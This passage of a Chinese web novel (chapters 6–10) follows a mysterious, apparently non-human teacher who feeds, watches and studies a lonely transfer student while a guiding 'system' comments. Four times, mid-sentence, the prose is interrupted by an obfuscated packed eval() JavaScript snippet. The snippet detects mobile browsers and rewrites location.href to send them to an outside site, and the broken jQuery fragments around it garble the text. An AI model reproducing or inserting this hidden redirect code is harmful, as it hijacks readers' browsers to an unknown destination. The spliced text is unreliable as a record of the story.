望着眼前比自己高大的老师,李卓感到一股陌生的无所适从。
在他的认知中,获得什么就一定要付出什么,就像种地需要先播种才有收获,工作也要干活才有工钱。
在李家,就是因为没做好父母的要求,才被放弃了,现在吃了人家的饭,洗碗打扫卫生就是他能想到的付出。
他从没有获得过无缘无故的好,没人告诉过李卓,如果这种情况下该怎么办,自己又能做什么呢?
人可以无缘无故地获得好处吗?
“莫老师,你为什么对我这么好…”
被那样一双黑白分明的眼眸望着,莫良只觉得心都要被融化了。
他在心里感慨,只是一顿添加了少量诱食剂的饭,就已经叫好了吗?
「我的孩子,这才哪里到哪里啊。
我恨不得将我的全部献上,见到你蹙眉的模样,我会感到前所未有的挫败与自责,■■…你每一个细微动作,每一个眼神,都让我感到心疼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988986|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和怜惜,如果可以…■■,■!」
过去从未有过的情绪汹涌翻腾着,千万个恐怖的念头在瞬息之间争前恐后高频闪烁,但最终他只是摸了摸李卓的脑袋,根据系统给的攻略中,将声音的频率降低至一个较为柔和的区间。
“都说老师是育苗的园丁,我可是你老师啊,当然要爱护你这颗稚嫩的幼苗啊,这是老师对学生的义务责任。”
莫良还是那副好老师的模样,语焉不详地说他一个人住,平时很孤单,说李卓要是能多来陪他说说话就好了。
“好吧,我知道了。”
围绕着“转学后是否还适应”的话题,俩人有一搭没一搭地聊了一些。午休时间很快结束,李卓提出告辞,莫良顺势提出要送他。
四月初正是春夏交接之际,气温十分不稳定,中午日头晒的时候热得不行,到了下午,气温又渐渐冷下来。
李卓和莫良走过一条紫藤花长廊,前面再转一个弯就进入教学楼区域了,他抬头看看远处橘黄色的夕阳,又看看身旁的高大的男人。
那股难以形容的感觉又上来了。
“看我干什么?”莫良迎上他打量的目光,对他温和地笑,“明天早饭想吃什么?我给你做点蛋羹怎么样?”
“早…早饭?”
“是啊,我住的公寓和你们宿舍又不远,你到我这可比食堂方便多了。”
“……”
不敢想象,他们才认识不到一天啊,可莫老师和他相处时,言谈举止间见的理所当然与熟稔,忍不住让李卓怀疑一秒他们是不是真的认识了多年?
晚饭吃太撑的李卓回到位置依旧还在想这个问题。同桌正扭头和后桌叽叽咕咕说着游戏相关的事情。
“那个莫老师是你亲戚啊。”
邓余亮刚从后桌那换到了自己想要很久的游戏道具,心情正好着。
“不是,我今天才认识他。”李卓十分认真地补充解释,“就中午在楼道碰见,他邀请我去的心理咨询室…”
邓余亮的眼神似乎有点不太相信他,但他又不得不承认一点:
“…不过说真的,那个莫老师看起来的确不像之前传得那样凶。”
“可能之前的学生认错人了吧?”
李卓对那些传闻也不知道怎么解释,只能想到这个合理的原因。
“这个就不知道了…”
俩人没多少时间闲谈,预备铃一响,哪怕还没正式上课,神出鬼没的班主任已拿着教科书站在讲台上。
班主任姓章,是个体型中等偏瘦,脸型有点尖嘴猴腮的中年男人,因此背地里班里的人都叫他老章。
“把之前的练习册拿出来…”
李卓翻开练习册,在顺着班主任章老师的讲解看向那道据说考试一定会考到经典题型时,发现这道题他也错了。
他听得专心致志,顺着老师的思路进行解题的同时,还不忘翻开自己的小本本记下老师说的重点。
李卓或许不是那种天资聪颖的学霸天才,但他的确是个听话的学生,上课时间就好好上课,绝不会分心开小差。
等他继续开始思考起白天没想明白的问题时,他已经结束一整天的课程,洗漱好躺在宿舍的床上了。
7. 第 7 章
寝室的灯刚熄不久,黑暗中,睡在上铺的李卓能清楚听到其他床位嘻嘻哈哈的笑声、闲聊声,闻到辣条等零食的香味。
他同桌在另外一间宿舍,不和他在同一间,而李卓又的确不是那种会主动与谁热情攀谈的性格。
所以他目前在宿舍的处境还处于透明人阶段,也就是虽然没多少玩得很铁的好朋友,但也没什么交恶的。
舍友同处一个空间内,但各自做各自的事情,他们或许不会和李卓约着一起玩,但迎面遇上也能尬聊几句。
对于这个状态,李卓挺满意的。
毕竟他在上一个国际学校,就是因为太迫切想融入大家,一次次地壮着胆子想要参与人家的话题,结果呢?
李卓根本听不懂他们讲什么,那一个个拗口的中外夹杂的暗语不是他这个初来乍到的乡下土包子能懂的。
他越是卖力想要融入,反而弄出一个又一个鸡同鸭讲的笑话。而成了学校里某种逗乐小丑的他,越想要交朋友,反而没什么人愿意接近他。
那些记忆似乎过去了很久,又似乎就发生在昨天,李卓直勾勾地盯着天花板,盯得眼睛酸了才闭上眼。
这周是这月的最后一周了,下周按照规律,父母又会给他打生活费了吧?
李卓期待的倒不是那一笔钱,而是和生活费一起附带的那句留言,这或许已经是他和父母之间的唯一交流。
上次是让他好好学习。
那这一次呢?
他忽的想到李轩。
以前总把这个“哥哥”当假想敌,现在离得远了,有时也开始佩服起他。
这个人总能每件事都办得特别完美,无论在什么场合都能快速适应身份,明白该说什么不该说什么,无论遇到什么意外似乎都在他的意料之中,他的人生字典里似乎就没有失败两个字。
这世界上会有这样的人吗?
生来就天资聪颖,什么都一学就会,集万千光芒于一身,是从头到脚没有瑕疵的完美天才。
真是让人嫉妒啊。
李卓一边这样想,一边又羞愧于自己的如此阴暗的想法。
想着想着不知不觉又想到莫老师,然后自然而然地顺着傍晚时分没想清楚的问题接着钻牛角尖。
那丝异样到底出自哪里?
他在自己同桌那打听出不少莫老师的传闻,听说他在学校里似乎十分神秘,听说他从来不参与会议,听说他给学校捐了不少钱,是某个神秘富豪,还听说他来实验当老师就是来玩的…
太多或真或假的传闻,其中有一传得最广,说莫良这是来暗访学校的?
实验中学中很多师生都和莫良几乎没有一点接触,自然只能进行一些毫无根据的猜测,李卓就不一样了。
他算是和莫良接触最多的。
在李家生活了两年,他不再是那个刚出村子没见识的土包子,耳濡目染下,现在的李卓对一些服装奢侈牌子,衣服的面料等等也有了一定了解。
莫老师的衣服牌子是他没见过的,或者说很大概率应该是设计师定制款,面料和版型挑不出一点点毛病,价格也可想而知的昂贵。
他手腕上佩戴的腕表,鼻梁上架着的眼镜,脚下穿的鞋子,桌上使用的水杯等等,能看到的牌子几乎都不便宜。
莫老师应该挺有钱的,
可是……
纷纷杂杂的信息如潮水般涌入李卓的脑海,他想到了白天的一些画面。
吃饭前,莫老师引着李卓到厨房水池边,不仅亲自为他打开水龙头,还主动牵着他的手为他搓洗手背手心…
吃饭时,莫老师自己始终未动碗筷,但却全程笑眯眯地注视着李卓吃饭,目光是那么认真专注地留意他每一个咀嚼吞咽的动作…
吃完饭,他提出告辞,莫老师更是一路从教室公寓送他到教室门口,
一种无法言说的违和感不断累积,但具体哪里不对?李卓说不上来。
但是抛开莫老师的真实身份和来到学校的动机,只单单看他的这些行为,难道不是在对他好吗?
黑漆漆的宿舍里,嬉笑声依旧,不知谁又讲了个笑话,笑声更大了些。
李卓给自己翻了一面。
仔细想想,他刚到李家时好像也挺不适应的。那时的他每天醒来都感觉像活在梦中,好几个月才适应过来。
所以现在也是因为这样吗?
李卓像解一道数学难题一样,努力用学到的已知公式去套眼前正为之困扰不已的相似题干。
是不是因为很少有人对他这么好,所以一旦有人对他表现出善意,他才会会觉得有点不适应?
把一切问题归结在自己身上后,李卓心中那团疑惑似乎消散了不少,他觉得自己就是想多了,人家对他好,他还这么疑神疑鬼,也太“白眼狼”了吧?
想清楚这个问题后,他不再辗转反侧,而是规规矩矩的平躺着。
意识逐渐模糊,完全沉入梦乡之前,李卓想着,今天好像和莫老师道谢,明天,明天一定要和他说一声谢谢,当然也不能白吃白喝,适当地给一点钱。
李家给他的生活费很丰厚,他自己大部分时间都在学校,花不了太多,他的小金库已经有一点存款了。
嗯,就这样吧。
此刻熟睡的少年完全不会知道,就在他呼吸逐渐绵长之际,他所在的寝室楼下,一位熟悉的身影正静静伫立。
那道身影如幽灵般久久望着某个楼层中并不起眼的宿舍窗口,久久地,久久地望着…
*
【你刚才说什么?】
莫良仍旧保持凝望某个方向的动作,嘴唇纹丝未动,只通过一缕意识与刚被它放出不久的系统进行交流。
【我是说宿主太厉害了,我都没发布任务呢,宿主就已经开始主动接近目标,通过采集唾液获取信息,还得到了目标的信任!!】
【对了,刚刚进度条前进5%了,目前李卓对宿主的好感为:30。】
那个聒噪的系统放了几个虚拟的烟花,以表庆祝,还想再说点什么别的话,但看莫良对它的行为完全不搭理。
完全拟真的情感模块让冷冰冰的系统也拥有了自然生命体才会有的尴尬情绪,见没宿主没搭理,系统慢慢地收起了烟花。
【本次任务世界是一本重生逆袭文,世界的主人公为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988987|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李轩,故事总体情节大致围绕他重生后如何靠着前世的记忆一路逆袭…】
【我们的任务目标李卓属于里面一个戏份并不算多的配角,他在其中的篇幅只占不到百分之五。】
【他第一次出场是在主人公的记忆中以及李家夫妻的口中,第一次正式登场是在机场,在后续五章剧情里作为一个没什么文化的、总时不时因为没见识而闹出一个个搞笑滑稽场面的背景板角色,于五章后离开李家,再次登场时成为一个搞砸宴会的小丑,宴会后彻底下线…】
介绍完故事剧情,系统转而开始一本正经的介绍起自己引导任务的编号,任务等等。
【咳咳咳,介绍一下,我是你的引导系统,我的编号是0255,我来自于理想城,我的主要功能有……】
关于这类剧情科普的流程其实不该在任务进行中时讲述,这本该在莫良被传送到这个世界的路上就该说的事。
只是出了一点意外。
这次新宿主刚和系统绑定,才获得位置坐标,都没等系统说出固定台词,新宿主几乎是立刻强行入侵了它的控制端,停止了它所有的功能,将它锁在了小黑屋里。
那一瞬间,0255以为自己要完了。虽然它并不会真正的消亡,是搭载的情感系统让它感受到了恐惧。
【任务要失败了。】
这是停止运行前的最后一次念头。
根据最后一次算力分析出来的画像,这个宿主看起来不像是那种会乖乖按照任务一步一步去拯救目标的人。
他的性格明显非常独断,无法沟通,他说不定会对任务目标展开虐杀,那这个任务必定就会失败!
以前也不是没有过此类的事例,毕竟宿主那么多,总会有几个不太正常的疯子,认为拯救办法就是杀了目标。
遇到这种情况的系统只能说倒霉了,毕竟根据系统守则,如果遇到此类宿主,同时检测到任务目标状态异常,系统能做的只有自爆,并将异常信息上报给总部。
——总部接到报告会立刻对异常情况进行溯源,强行将宿主踢出去。已自爆的系统的核心代码上会再生成出一个新的系统,新系统会带领新宿主继续在重启的小世界开始二周目。
总之,基于这样的前提,再次被放出来的系统上线后的第一个动作就是立刻搜寻任务目标,扫描当下生命信息。
不过还好,还好…
虽然系统不知道发生了什么,但任务目标还活着!并且很健康,精神正常,四肢也都还健在!
好事啊!
要知道0255已经备份好所有重要资料,捏着启动自爆程序的按钮就等按下了,结果检测出拯救任务正有序进行中,进度良好,它当然不用自爆了。
它偷偷给自己放了个小小的烟花。
【只是我有点不太明白…】
系统用毫无起伏的机械音诉说着它对莫良行为的疑惑和不解。
【为什么要站着这儿?】
【我的意思是…】
【如果您是为了刷好感的话,任务目标根本不知道您在看他。包括上晚自习时,他也不知道您在注视他,这样得不到好感的…】
8. 第 8 章
莫良感知能力出众,他可以感应到数公里外生命体的心跳呼吸与脉搏,那时他正全神贯注听某一道怦怦的声音。
对于系统的好奇,他懒得给一行代码解释他之所以站在这里,可不是为了什么任务,只是因为他想而已。
就像他采集唾液也不是为了完成所谓的任务,只是想单纯地更加了解自己的孩子,想记住自己孩子的气味罢了。
原始人类的唾液中含有不少遗传信息和生理信息,其中包含基因组DNA. 、激素、酶、炎症标志物等等。
基因决定味觉受体的类型和功能,他的喜好在里面可是写得清清楚楚,包括生理特质能判断他有哪些才能,哪个器官更容易病变,需要重点检测…
这种东西在他们那都是需要严格保密起来的,绝不会轻易泄露,而这里的原始人类却没有丝毫隐藏信息的意识。
他的唾液就像一本厚重的书籍,里面记载了关于李卓的所有信息,比系统提供的那一点可怜又不完全的人设图准确多了不知道多少倍。
【好感30是什么程度?】
【经查询,您在他的心中是一位很温柔、对他很好的长者。】系统补充道,【这是一个非常好的开端!】
【主线任务是什么?】
【第一条:是改变目标原定结局;第二条:让目标幸福;第三条让目标发自内心地感到快乐。】
【那很好,我们目的一致。】
【对了,我刚才说剧情时你有在听吗?他幼年被拐卖,十五岁被找回,十七岁转学到外地,十八岁生日的第二天郁郁而亡…】
【现在是他人生最关键的时候,剧情里这段时间的他重度抑郁,正因这样,稍微一刺激就容易想不开…】
【宿主你的开端非常不错…】
短暂的交流并未占据莫良多少注意力,他一心几用,一面与系统对话,一面聆听着那道心跳,同时快速浏览着从系统处下载的攻略书籍。
激活系统前,他唯一的参考资料只有《原始人类饲养手册》,有了引导系统后,就有了更全面的参考资料。
这些书很有用,他从中了解到原始人类是一种很脆弱的生物,作为合格的养育者他需要遵守的规则很多。
要提供丰富多样且营养均衡的食物,同时注意食物的新鲜度和卫生状况,避免因食物问题导致原始人类身体不适。
对话时要注意音量控制,原始人类听力相对脆弱,讲话前需要使用分贝仪时刻检测模拟音量大小,包括语调要柔和,配合上友好的表情效果更佳。
除了语言沟通,情感沟通同样极为重要,原始人类会通过面部表情、肢体语言等方式传达情感。
养育者不仅需要时刻注意自己的表情,还需要通过观察人类的眼神、表情和肢体动作,了解他的情绪状态,给予及时的关心和回应。
在他表现出低落情绪时,养育者需要立刻用温和的语言和安抚的动作让他感受到安全感。
…
…
除以上,不同的人类个体拥有不同生活习性以及口味,这些都需要养育者长期观察,不良习惯要及时制止,好习惯要及时赞美。
…
浏览攻略的同时,莫良会如实记录自己的实操心得,等他将《喂养注意事项篇》和《语言理解与表达》看完时,小世界的夜晚已过大半。
他通过系统在任务日志上详细记录下当夜李卓睡着后的所有数据。
包括李卓具体翻了几次身,在不同时间段下呼吸频率、心跳节奏的变化,以及中间的梦呓片段等等。
“还有不少内容没看,但时间有点来不及了。”莫良面无表情地用极微弱的频率自言自语道,“我的孩子快醒了,我得去准备早餐。”
自从接了这个任务后,他还没好好休息过,前期学习人类语言花费了大量的精力,而这仅仅只是一个开始,学习制作人类食物的进度还有一大截没学。
合格的养育者可不是那么好当的。
包括那些还没来得及看的攻略,他也大致扫了一遍,《原始人类饲养指南》中最靠前的资料有《语言理解与表达篇》、《日常陪伴篇》等等。
而他最感兴趣的还得是系统资料库里的攻略:《建立超亲密亲子关系妙招》和《孩子好习惯养成指南》。
莫良决定了。
下一步就看这个吧?
*
莫,莫老师…!?
位于地理偏北的常阳,早晨五点还透着不易觉察的寒凉,李卓刚从宿舍楼下来,一眼注意到了不远处的莫良。
也不知道他具体等了多久,手上拎着保温桶,衣服还是昨天那身,望着他的笑容也几乎是分毫不差的和煦。
地点在学生宿舍楼下,时间又是起床的早高峰,顶着不少同学好奇的目光,李卓快步走到莫良跟前。
“你怎么那么早就来了?”
这话刚说出口,李卓又觉得实在是太像兴师问罪了,他又赶紧补充。
“莫老师,我不是那个意思,我是说完全不用这么早的…”
莫良倒是一点不在意李卓的失言,他还是笑着,晃了晃手中的保温桶。
“饿了吧?”
早餐时间是三餐中最短的,满打满算,从起床铃打响的那一秒开始,留给学生起床穿衣服,刷牙洗脸,去食堂排队买早餐,吃早餐,再从食堂回教室,这一系列所有动作只有30分钟。
其中大部分时间不是花在吃饭上,而是花在如何从一堆人山人海中费力挤到刷卡机前成功滴一下。
在省去这个环节后,李卓吃早饭也不用那么匆匆忙忙,在细嚼慢咽着口腔中蔬菜饼的同时,扫了一眼其他早餐。
一份鲜嫩的鸡蛋羹。
一盒切好的新鲜苹果片。
一瓶鲜牛奶。
从营养成分的角度看,这份早餐还挺均衡的,蔬菜饼主要成分是碳水和膳食纤维,鸡蛋羹饱含蛋白质,苹果富含维生素,鲜牛奶补钙,齐了。
当然,李卓第一眼并没有看出这份早餐背后的营养搭配是多么严谨,他只是单纯感受到了莫老师的用心。
于是嘴里还吃着早餐呢,他就开始迫不及待地和莫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988988|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
良商量起饭钱,同时再三的表达自己心中的感激之情。
他想过莫老师可能会有的反应,他估计会拒绝,可能又像之前那样说这是老师应该做的,对此他也已经想说辞。
可他的确没想到,在他提出伙食费后,莫良居然会直接略过了他的话。
就像没听到一样,他执着的问他:“好吃吗?味道怎么样?要是不合你的胃口,一定要跟老师说。”
“好吃啊,味道很好。”李卓又重复了一遍,“但是伙食费的事情我觉得是必须要给的,我打算…”
“快吃吧,只有十二分钟了。”莫良微笑着提醒他,“你们早读好像要在打铃之前提前到教室吧?”
“……”
就这样,李卓的第一次关于缴纳伙食费的提议不了了之。
他在莫老师的注视下吃完了早饭,不过这次在对方想要送他时,他很明确拒绝了他的同行。
莫老师有一瞬的诧异,很快又恢复了正常,并顺着他的话答应了,还说了声“好吧,那路上小心”。
李卓以为自己听错了。
就那么几步的距离,要小心什么?
这个问题还没思考出答案,英语老师已经拿着教科书迈步走进了教室,今天的早读看来是背单词。
这是李卓的薄弱项,他得打起十万万分的精神,努力去记住每一个字母的顺序,读音还有它的多种含义。
因此他完全没有注意到那节课英语老师曾多少次看向他的位置,以及完全超出平时频率的一遍遍走过他身旁的过道。
他只埋着全神贯注记单词,连同桌给李卓偷偷塞过来的小纸条时,他都全然未察,记着不同形容词的原级,比较级,最高级,以及各自特殊结构和变体。
“这小子…”
虽然邓余亮自己成绩也不差,在班上属于中等偏上,但他真学不来李卓这股劲儿啊,怎么会有人这么醉心学习啊,这不是疯了吗?
邓余亮由衷敬佩地靠了一声。
*
另一边的莫良正翻找攻略,从密密麻麻的文档中迅速锁定到一份守则,又找到其中一页,认真地在某一行后面添加了日期新鲜的补充备注。
【121:原始人类幼年阶段极为脆弱,毫无自我防护能力,很容易被攻击,常被其他成年人类掠夺、偷窃,贩卖,绝对不要让其单独出行,如必要出行,身边须有养育者陪同。】
【…】
【121.5:若幼年体拒绝养育者同行,提出自己单独前往目的地的要求,养育者可根据不同的场景选择不同的应对方式…】
【…】
【121.5.3:在幼年体态度坚决的前提下,并满足以下附加条件:幼年体有明显抵触情绪、幼年体此行目的地绝对安全,养育者可对其说出一句古老的祝福语:路上小心。】手册附件1‘祝福语速成教学’。
【121.5.3.1最新补充:我饲养的幼年体听到后,表情没有出现应该有的喜悦,经分析为:震惊,疑惑。怀疑这句祝福语已经过时了,请编者尽快进行修改更新!】
9. 第 9 章
在看到上午课表最后一节课是体育时,十班所有人心里几乎都默认这节体育肯定是上不了。
按照以往的经验,体育老师不是临时有事就是突然生病,到时候要么老章的数学课,要么蔡尼姑的语文课,再或者就是英语课…
但惊喜来得就是那么突然!
预备铃打响后,想象中的主课老师并没有出现在教室门口,反而是平时不是生病就是有事的体育老师在操场吹着口哨,中气十足地扯着嗓子提醒十班的同学赶紧下楼上体育课!
“oh~~~~”
“我靠!真的假的?!”
“体育老师病终于好了吗?!”
这可是开学以来的第一节体育课啊,教室里沸腾的尖叫声几乎能把房顶掀翻,其中有位同学还兴奋的翻了个跟头,学生们欢天喜地地下了楼。
李卓跟着人流走出教室时还听着班级的同学们边走边叽叽喳喳讨论等会儿自由活动时做什么。
他们中有的想去小卖部买零食,有的想去电话亭给家里人打电话,有的想回教室补作业,有的想回宿舍洗头,还的想打篮球…
“好久没打篮球了,记得拿上!”
“今天太阳真不错…”
“太幸运了,刚好最后一节课!”
“……”
可惜这份喜悦维持了不到五分钟。
…
……
炽热的日头下,几十个男男女女在体育老师的口哨催促中,站成一个四四方方的“豆腐块”。
“全体都有!立正!稍息!”
“向右看齐——”
如此几个回合,高大的体育老师中气十足地让大家先沿操场跑几圈热身。
站队的位置和每天跑早操的位置是一样的,李卓在中间,以前每回跑操时,前面同学跑得慢,后面同学跑得快,夹在中间的他总被踩鞋跟。
不过最近这段时间不知道是怎么了,他已经很久没有被踩过鞋跟了。
李卓挺开心的。
觉得最近他做什么事都好顺利。
而在他不知道的某一栋高楼的走廊之外,一道身影正悄然注视着他。
【该个体上周与37人发生过肢体接触,手上携带43种病菌,必须和我的孩子进行隔离…】
莫良的瞳孔泛着数据流,里面正是李卓前后作业同学的影像,精细到能看到他们指甲缝的污渍,袖口上的人体分泌物和细碎的食物残留。
不过瞬息之间,看似什么都没改变,实际李卓的和前后左右同学们的距离的已经无限拉长。
既然空间无限拉长了,自然也不存在会踩到他鞋跟的小事。
【其实没必要撒消毒网。】
系统小声嘀咕。
【空气中存在一点微量的灰尘,对任务目标其实不会有什么影响的…】
莫良充耳不闻,我行我素,继续记录着李卓跑步时的呼吸频率和心跳节奏,同时检测他身体各项指标。
他前面第一圈跑太快,到第二圈时状态出现了明显下降,而莫良甚至比李卓本人更先感知到他的疲惫。
【我的孩子累了…】
【我要帮助他…】
【●●!】
*
这是李卓第一次上体育课,又是转校生,因此出现了一个小小的插曲。
在十班的全体学生沿着操场慢跑完四圈后,体育老师终于吹响了停止的口哨,要求大家重新站好。
在一阵立正稍息之后,老师又让大家按照之前考试分配,两两为一组,练习几组仰卧起坐。
话音刚落,一声声唉声叹气此起彼伏,鉴于之前跑步时就有学生举手说自己身体不太舒服,这次体育老师没等他们开口就全部驳回了。
没办法,大家只好互相找之前的搭档,而李卓的问题在这时候出现了。
其他同学都按照上学期的队形迅速找到自己的搭档时,李卓的脚就像生了根一样,站在原地一动不动。
估计是把他当成那种想偷懒不愿意运动的学生,体育老师声音拔高了几分:“你也身体不舒服?!”
李卓太老实,对老师有一种天然的敬畏,在敏锐感知到体育老师语气中的不快后,他紧张抿了抿唇干涩的唇。
“不是,我是…转校生。”
“什么?”
体育老师一时没听清。
“郑老师!李卓是这学期才刚刚转过来的新同学,他没有搭档…”
说话的人是李卓的同桌邓余亮。他举着手,声音洪亮,“我们班之前是双数,现在他转来就是单数了,到时候肯定会剩下一个人的。”
体育老师这才认真看了一眼李卓。
他不止带十班一个班,平时课又少,不能像其他文化课老师那样对每个班的同学个个脸熟。
他甚至对十班的原来的几十个成员都记不住,更别说这个学期才转来的新同学,当然没有引起他的注意。
“噢,这样啊…”他琢磨几秒,很快有了主意,看向已经找到搭档的十班成员,“你们谁愿意和新同学搭档?”
要是没有人愿意换搭档的话,那新同学就只能由体育老师当他的搭档了。
后面的话,体育老师并没有讲出来,但李卓还是敏锐地感知到这一点。
他的心情并不怎么好,这种像是被当成货物挑选一样的感受真是糟糕啊,每一分每一秒都好像被无限拉长。
【表情扫描识别中——】
【结果:紧张,恐惧…】
【为什么会有恐惧?】
莫良还有一点没弄清状况。
而系统历经多个任务世界,对这种微妙的场景还算是比较有经验:
【可能这种被很多人注视的场景让他想到了一些不太好的记忆,所以会紧张,同时也害怕没人选……】
听说他只是害怕没人选自己做搭档,莫良立刻放下心来。
【原来只是这样吗?】
【那太好办了。】
在他的心中,他的孩子就是最优秀的,怎么可能会没人选,他只需要为他挑选一个身上的细菌更少点的搭档。
在莫良还在筛选时,依旧还是李卓的同桌开口了:“我来吧。”
邓余亮隔着老远就开始朝他挤眉弄眼,到了跟前后拍了下他的肩膀:“待会儿别数那么快啊。”
邓余亮在路过原来搭档时,后者似乎不太愿意和体育老师一起,背在背后的手朝着他比了一根中指。
邓余亮也回了一根。
目睹一切的李卓开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988989|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口:“其实没必要的,万一他以后不跟你玩了呢?”
邓余亮蛮不在意的挥了挥手:“那就不玩了呗,放心啦,他不是那种计较的人,上学期之前有一次我生病请假,他就是和郑老师搭档的…”
李卓沉默了。
仰卧起坐需要搭档的一方躺在垫子上,双腿屈膝,双手紧紧抱头,另一方稳稳按住前者脚踝,并计数。
时间一到,两人位置互相交换,之前按脚踝的换成做仰卧,等俩人都结束才算是完整的一组。
那天体育老师估计是真想让他们活动活动,仰卧起坐结束后又接上了另外一组体能训练。
眼看着这节课都已经过去大半了,还是没等到那声自由活动,反而等到了一声再跑最后两圈。
唉声叹气地跑完最后两圈,此时距离下课只剩下不到十分钟,这是立在最前方的体育老师终于满意地看看手表,捏起挂在脖子上的口哨用力吹响:
“自由活动吧,解散!”
队形作鸟兽散,互相玩得好的朋友们无需言语,只一个眼神便宛如磁铁般自觉向彼此靠拢,或吐槽或抱怨地朝食堂的方向走去。
平时里那些看不见的小圈子在这时纷纷展现出来,一目了然。
邓余亮在半路上被另外几个人截住,于是孤零零的李卓率先离开队伍,他没有去食堂的方向,拖着两条酸胀不已的腿在花坛边坐下。
记得以前还在坪山村时,他能背着比自己还高的竹编背篓行走陡峭的山路上,能挑着两桶满满当当的水在窄细的小路上如履平地。
不管如何说,那时的生活可比现在的日子辛苦多了。前面两年富家少爷一样的生活果然是让他退化了不少啊。
李卓低声自嘲了一句:
“…我现在真是越来越懒了。”
话音刚落,身后幽幽传来一道熟悉的声音:“我没觉得啊。”
李卓咻地回头,看清楚那张脸后,音调陡然拔高:“莫老师?!”
男人就那么悄不然的、一丁点声音都没有的坐在他身旁被灌木丛遮挡的位置,不声不响的像忽然凭空出现一般。
“莫老师你什么时候来的?”
李卓还是有些不敢相信,他明明记得刚才一点脚步声都没有听到啊。
“就刚刚。”莫良靠近了李卓一点,视线集中在他的腿部,紧紧地皱起了眉头,“腿很疼吗?”
“不疼啊,就是刚跑完有一点点酸,现在已经好多了。”
对面莫老师似乎是不太相信,眉头并没有松动的迹象:“我会一点点按摩,等吃完了饭我给你按一按吧。”
“不用,真不用…”
李卓想说以前在坪山村,年年的农忙时节,他又要在地里干农活又要出去打散工,那可比这累多了。那时哪怕浑身上下散了架一样的酸痛,但只要睡一觉第二天就好了。
话到嘴边又给生生咽了下去。
乡下那些破事儿没人会想知道的,哪怕是他的亲生父母也不想听他一遍遍提以前的事儿,很招人烦的。
“我现在已经没事了,真的。”
莫老师没有回答,只是深深地看了李卓一眼,讲话的声音和骤然响起的下课铃声完全重叠在一起。
“下课了,你现在饿了吧?”
10. 第 10 章
事实证明,上完一节体育课再吃饭,真的会胃口大增。
运动消耗过后带来的饥饿buff外加完全符合他口味的饭菜,平时一碗饭量的李卓不知不觉就连吃了两碗米饭。
软硬适中的米饭就着大量糖醋鸡胸肉、排骨炖豆角、凉拌粉丝、豆腐皮蛋青菜汤及微量西兰花。
自称吃过饭的莫老师依旧那样,在他吃饭时笑眯眯注视着他,就好像他吃饭的画面是什么很赏心悦目的美景一样。
饭后水果是洗好的草莓。
望着面前洗好摆好的草莓,又看着桌上零零散散的剩菜,头一次,李卓觉得自己吃饭都吃得有点累了。
在莫良再度拒绝李卓收拾桌子时,李卓同样又一次提出了伙食费的要求。
这次莫良装不了无视,也无法通过时间来中断话题,并且通过系统搜索,攻略里也查无此类情况…
没办法,他只能开始交流。
“我不需要,我会很难过的,如果你这样做…”他像个刚学会接触中文的外国人一样,“是我愿意喂养你,我喜欢喂养你,而不是为了别的…”
在莫良的认知中,付钱吃饭只会出现在以此盈利的商业场所,这是一种试图抹去俩人感情和关系的做法。
他的孩子居然想要抹去俩人的感情?他绝不允许!!
他非常难过,但还是按照系统的提示说出了他给的台词。
“你这样老师会伤心的。”
李卓不太理解为什么自己付一点伙食费就会伤老师的心,但他也不是只认死理的,于是也开始表达自己的想法。
“那我们折个中吧,那我想做点我能帮得上忙的事,如果我只是每天过来吃完饭,碗一推就离开我会内疚的…”
莫老师明显有在思考的模样。
“我想收拾下桌子,洗下碗筷什么的,对我来说是很简单的…”
这次莫老师到没有思考,他非常认真道:“你要进厨房吗?不行的,那里很危险,里面的物品会伤害你的。”
李卓大脑宕机了一秒。
“比如呢?”
莫老师用一种仿佛看自家小孩又调皮了的眼神,带着几分无奈地开始为他讲述厨房是多么危险的地方。
李卓越听表情越茫然。
“…我没事拿刀玩干嘛,我为什么要用手去触摸火焰、去扒拉煮着汤的锅、去碰滚烫的热油…”
